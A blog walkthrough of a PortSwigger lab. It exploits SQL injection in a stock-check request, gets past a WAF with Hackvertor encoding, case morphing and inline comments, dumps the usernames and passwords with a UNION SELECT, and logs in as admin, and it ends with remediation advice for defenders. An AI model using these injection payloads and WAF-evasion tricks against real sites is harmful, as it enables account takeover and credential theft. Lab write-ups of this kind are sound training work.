Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

SQL injection with filter bypass via XML encoding

SQL injection with filter bypass via XML encoding: Exploit a SQL injection vulnerability in the stock check feature to extract the admin user’s credentials from the users table, then log in as admin. A Web Application Firewall (WAF) blocks obvious payloads, so we’ll obfuscate our query (e.g., with Burp + Hackvertor) to bypass filtering. • PortSwigger • SQL injection • sql-injection, union

2022-09-122 tags
Tags

🎯 Objective

Exploit a SQL injection vulnerability in the stock check feature to extract the admin user’s credentials from the users table, then log in as admin. A Web Application Firewall (WAF) blocks obvious payloads, so we’ll obfuscate our query (e.g., with Burp + Hackvertor) to bypass filtering.


🧠 TL;DR (Quick Recipe)

  1. Identify injectable parameter (e.g., productId or storeId) in the stock check request.
  2. Find column count and data types for UNION using safe probes.
  3. Bypass the WAF via encoding/obfuscation (Hackvertor tags, inline comments, case toggling, whitespace variants).
  4. Use a UNION SELECT to dump users(username,password).
  5. Log in as admin with the recovered password.

🔍 Context & Recon

  • Feature: Check stock in store for a product.
  • Parameters observed: productId, storeId.
  • Initial pokes triggered WAF blocks on patterns like UNION, SELECT, quotes, and comments.

Screenshots

  • Parameters present in stock request:
    params

  • WAF blocking obvious SQLi:
    waf


🧪 Step 1 — Confirm Injection Point

Use benign arithmetic or boolean probes that keep syntax valid and avoid obvious signatures.

Examples (replace X with the parameter under test):

http
X=1           → baseline
X=1-0         → arithmetic, should behave like 1
X=1/*a*/-/*b*/0 → inline comments for spacing (WAF bypass friendly)
X=1 OR 1=1    → classic truth test (likely blocked by WAF if left obvious)

Tips:

  • Prefer numeric context payloads first (fewer quoting rules).
  • Use URL-encoding or Hackvertor to hide operators (see WAF section).

🧱 Step 2 — WAF Evasion Tactics

When the WAF trips on raw keywords (UNION, SELECT, quotes), use combinations of:

  • Case morphing: UnIoN SeLeCt
  • Inline comments: UNI/**/ON SEL/**/ECT
  • Whitespace variants: tab %09, newline %0a, formfeed %0c
  • URL-encoding/double-encoding for keywords/quotes
  • Hackvertor tags in Burp (encode-on-send), e.g.:
    • <@urlencode><@randomcase>UNION SELECT</@randomcase></@urlencode>
    • <@hex_entities>SELECT</@hex_entities>
    • <@space2comment>union select</@space2comment>

In practice I used Hackvertor to encode XML attributes/payload tokens so the WAF couldn’t spot the signature while the DB still parsed a valid query.

Reference view in Burp:
hackvertor


🧱 Step 3 — Determine Column Count & Types (Safe)

You need UNION column count to match the base query. If WAF blocks ORDER BY, use UNION NULL ladder with obfuscation:

sql
# Pseudocode payloads (obfuscate as needed via Hackvertor)
... UNION SELECT NULL --
... UNION SELECT NULL,NULL --
... UNION SELECT NULL,NULL,NULL --

Once you hit a 200/valid render, that’s your column count.
Next, identify a string-capable column by replacing one NULL with a quoted marker (or a concatenation without quotes in numeric contexts, see below).

If quotes are blocked, try concatenation or casting supported by the backend (PostgreSQL/SQLite use || for string concat).


🧲 Step 4 — UNION Dump of users

Backend flavor in these labs is often PostgreSQL/SQLite, so string concatenation via || works. If the base query returns 1 column, concatenate both fields:

sql
1 UNION SELECT username || ' ' || password FROM users

This avoids figuring out separate column placement and stays within a single-column UNION shape.

Result (redacted):
dump

If multiple columns are available, a clearer variant is:

sql
UNION SELECT username, password FROM users

WAF bypass hints for the payload above:

  • Randomize case: uNiOn sElEcT
  • Insert comments: UNION/*x*/SELECT
  • Replace spaces with tabs/newlines or comments
  • Encode ' ' (space) and quotes: %20, %27
  • Use Hackvertor to auto-encode the entire fragment

🔐 Step 5 — Log In as Admin

From the dump, copy the admin row’s password. Navigate to the login page and authenticate as:

text
username: admin
password: <extracted-from-UNION>

🧭 Example Burp Workflow

  1. Proxy traffic and send stock request to Repeater.
  2. Wrap payload regions with Hackvertor tags (right-click → Insert tag).
  3. Iterate:
    • Column count discovery (UNION SELECT NULL,...)
    • String column check (marker text)
    • Final dump payload
  4. Verify credentials and log in.

🧯 Hardening & Remediation (for defenders)

  • Parameterized queries / prepared statements everywhere (no string concatenation).
  • Strict WAF tuning is not a substitute for fixing the code.
  • Least-privilege DB user; no read access to users table from stock queries.
  • Output encoding and minimal error leakage.
  • Centralized input validation + allow-lists for IDs (numeric only).

📎 Notes & Gotchas

  • Some backends require FROM dual (Oracle). If unsure, infer backend by error handling or feature tests.
  • If quotes are aggressively blocked, try quote-less techniques: string concatenation, CHR()/CHAR() functions, or hex (0x...) where supported.
  • For column type mismatches, cast: CAST(username AS TEXT) etc.

✅ Outcome

  • Bypassed WAF using Hackvertor encoding/obfuscation.
  • Extracted credentials from users table with a UNION SELECT.
  • Successfully authenticated as admin to complete the lab.

Final working payload example used:

sql
1 UNION SELECT username || ' ' || password FROM users

(Obfuscated via Hackvertor to evade the WAF.)


📚 References

  • PortSwigger: SQL Injection
  • PortSwigger BApp: Hackvertor
  • Cheat-sheets: Obfuscation (URL-encode, comments, random casing), backend string ops (|| for Postgres/SQLite)
Navigate

In this post

  1. 01🎯 Objective
  2. 02🧠 TL;DR (Quick Recipe)
  3. 03🔍 Context & Recon
  4. 04🧪 Step 1 — Confirm Injection Point
  5. 05🧱 Step 2 — WAF Evasion Tactics
  6. 06🧱 Step 3 — Determine Column Count & Types (Safe)
  7. 07🧲 Step 4 — UNION Dump of users
  8. 08🔐 Step 5 — Log In as Admin
  9. 09🧭 Example Burp Workflow
  10. 10🧯 Hardening & Remediation (for defenders)
  11. 11📎 Notes & Gotchas
  12. 12✅ Outcome
  13. 13📚 References
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.